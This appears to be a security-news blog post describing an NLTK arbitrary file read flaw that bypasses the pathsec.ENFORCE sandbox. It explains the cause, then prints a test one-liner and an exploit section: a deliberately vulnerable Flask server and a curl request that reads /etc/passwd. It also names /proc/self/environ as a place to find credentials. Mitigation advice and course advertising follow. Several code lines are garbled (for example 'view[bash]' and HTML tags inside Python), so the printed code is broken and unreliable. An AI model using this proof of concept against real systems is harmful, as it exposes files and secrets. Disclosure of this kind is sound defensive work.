Listen to this Post
NLTK (Natural Language Toolkit) versions before 3.10.0 contain an arbitrary local file read vulnerability in the `StreamBackedCorpusView` component that bypasses the `pathsec.ENFORCE` security sandbox. The `nltk.pathsec` module provides a security enforcement mechanism designed to restrict file access to allowed NLTK data directories when `ENFORCE = True` is set. This is documented to raise `PermissionError` on unauthorized access, providing a sandbox for production deployments.
The vulnerability arises because `StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` opens files using `builtins.open()` directly, rather than calling the `pathsec.open()` wrapper. The enforcement point defined in `nltk/pathsec.py:274` — which calls `validate_path()` before any file operation — is completely bypassed for string paths. Specifically, `StreamBackedCorpusView` calls `os.stat()` on the user-controlled `fileid` and subsequently `builtins.open()` without any path validation. `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView` are also affected.
An attacker who can influence the `fileid` argument passed to NLTK corpus readers can read arbitrary local files regardless of the `ENFORCE` setting. This affects web applications, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid. Sensitive targets include /etc/passwd, `/proc/self/environ` (which may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application configuration files. The core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a false security guarantee. No privileges are required to exploit this vulnerability.
DailyCVE Form:
Platform: NLTK
Version: < 3.10.0
Vulnerability: Arbitrary File Read
Severity: High (CVSS 8.7)
Date: 2026-08-22
Prediction: 2026-08-25 (Patched in 3.10.0)
What Undercode Say:
Check NLTK version
python3 -c "import nltk; print(nltk.<strong>version</strong>)"
Verify ENFORCE setting
python3 -c "import nltk.pathsec as ps; print(ps.ENFORCE)"
Test for vulnerability (non-destructive)
python3 -c "from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block; view = StreamBackedCorpusView('/etc/hostname', read_line_block, encoding='utf8'); print(view[bash])"
Vulnerable code pattern in nltk/corpus/reader/util.py (line ~171, ~208) Bypass occurs here — no validate_path() call self._eofpos = os.stat(self._fileid).st_size builtins.open called directly self._stream = open(self._fileid, "rb")
Exploit: (Educational Purposes!)
PoC Server — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(<strong>name</strong>)
@app.post("/read")
def read_file():
fname = request.json.get("file")
fileid is user-controlled, passed directly to StreamBackedCorpusView
pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[bash]})
app.run(host="0.0.0.0", port=8000)
Trigger — reads /etc/passwd despite ENFORCE=True
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'
Protection:
- Upgrade to NLTK version 3.10.0 or later, where the vulnerability is fixed
- For Debian users, upgrade to `3.10.0-1` (unstable) or wait for backports to stable releases
- Avoid passing user-controlled input directly as `fileid` to any NLTK corpus reader
- Implement additional input validation and sanitization at the application level
- Run NLTK-dependent applications in restricted containers or with minimal filesystem permissions
- Monitor for unexpected file access attempts in production logs
Impact:
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22 (Path Traversal), CWE-284 (Improper Access Control)
- OWASP: A01:2021 – Broken Access Control
- CVSS 3.1: 7.5 (High) — Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- CVSS 4.0: 8.7 (High) — Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Attack Vector: Network, remotely exploitable without authentication
- Confidentiality Impact: High — sensitive system files and application credentials can be read
- Affects web apps, REST APIs, and multi-tenant NLP pipelines
- No privileges required for exploitation
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
